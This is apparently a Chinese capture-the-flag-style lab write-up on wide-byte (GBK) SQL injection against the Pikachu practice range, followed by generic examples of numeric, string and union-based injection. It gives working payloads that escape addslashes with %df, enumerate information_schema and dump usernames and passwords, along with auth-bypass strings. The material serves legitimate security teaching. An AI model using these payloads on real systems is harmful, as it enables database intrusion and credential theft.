[Pikachu靶场实战系列] SQL注入(宽字节注入)

宽字节注入原理

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生

修复建议:

(1)使用mysqli_set_charset(GBK)指定字符集

(2)使用mysqli_real_escape_string进行转义

靶场实战

在这里插入图片描述
看一下提示
在这里插入图片描述

输入提示中的名字
在这里插入图片描述
构建pyload

name=kobe%df’ or 1=1#

单引号因为PHP中使用addslashes函数,被转义为\’,编码后就是%5c%27
加上pyload中的%df 后,就是 %df%5c%27 ,然后MySQL在使用GBK编码的时候,会认为两个字符为一个汉字, %df%5c就被解析为一个汉字,%27也就是单引号就成功逃逸了,成功实现闭合,后面就可以通过or 来执行语句了。
在这里插入图片描述
本来想判断一下是否有回显,然后用order by一直说用户名错误,看来应该不能用order by来判断,因为正常回显的情况下有用户id和email两项,我们直接用union select试一下

name=kobe%df’ union select 1,2#

在这里插入图片描述
有回显,那剩下的就是走流程了
查询数据库
在这里插入图片描述
查询表名

name=kobe%df’ union select 1,table_name from information_schema.tables where table_schema=‘pikachu’#

在这里插入图片描述
却发现没有查询成功,返回去看了一下,发现pyload里面有单引号,而在宽字节注入里面单引号是会被转义的,这里面的单引号也不能用之前的方法逃逸了,否则语句无法执行。

为了避免使用引号,采用嵌套查询

name=kobe%df’ union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#

在这里插入图片描述
查询users的列名

name=kobe%df’ union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#

在这里插入图片描述
查询password

name=kobe%df’ union select (select group_concat(username,0x3b,password) from users),2#

在这里插入图片描述

### Pikachu靶场中的SQL注入类型教程 #### 数字型SQL注入 当应用程序未正确过滤用户输入且该输入被用于构建SQL查询的一部分时,可能会发生数字型SQL注入。如果参数是整数形式,则攻击者可以尝试通过改变这个数值来观察应用行为的变化从而判断是否存在漏洞[^2]。 对于Pikachu靶场而言,在某些情况下,向URL或表单提交的数据中附加特殊字符(如`'`),会触发数据库错误提示,这表明可能存在SQL注入风险[^3]。 ```sql ?id=1 AND 1=1 -- 正常显示页面内容 ?id=1 AND 1=2 -- 页面返回异常或者空白页 ``` #### 字符型SQL注入 字符型SQL注入通常发生在字符串类型的参数上。在这种场景下,可以通过在合法数据之后追加恶意构造的SQL片段来进行测试。例如: ```sql username=admin' OR '1'='1 password=a' OR 'a'='a ``` 这些命令利用了逻辑运算符OR使得条件永远成立,进而绕过身份验证机制[^1]。 #### 联合查询注入 为了进一步探索数据库结构,即所谓的“爆库”,可以采用UNION SELECT语句组合两个SELECT查询的结果集。此方法适用于已知目标站点存在可利用的SQL注入点,并希望从中提取额外的信息的情况。比如获取其他表格的名字、列名等敏感资料。 ```sql ?search=test'+union+select+null,table_name,null+from+information_schema.tables--+HTTP/1.1 Host: example.com ``` 上述例子展示了如何从MySQL内置的信息模式(information_schema)读取有关现有表的信息。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值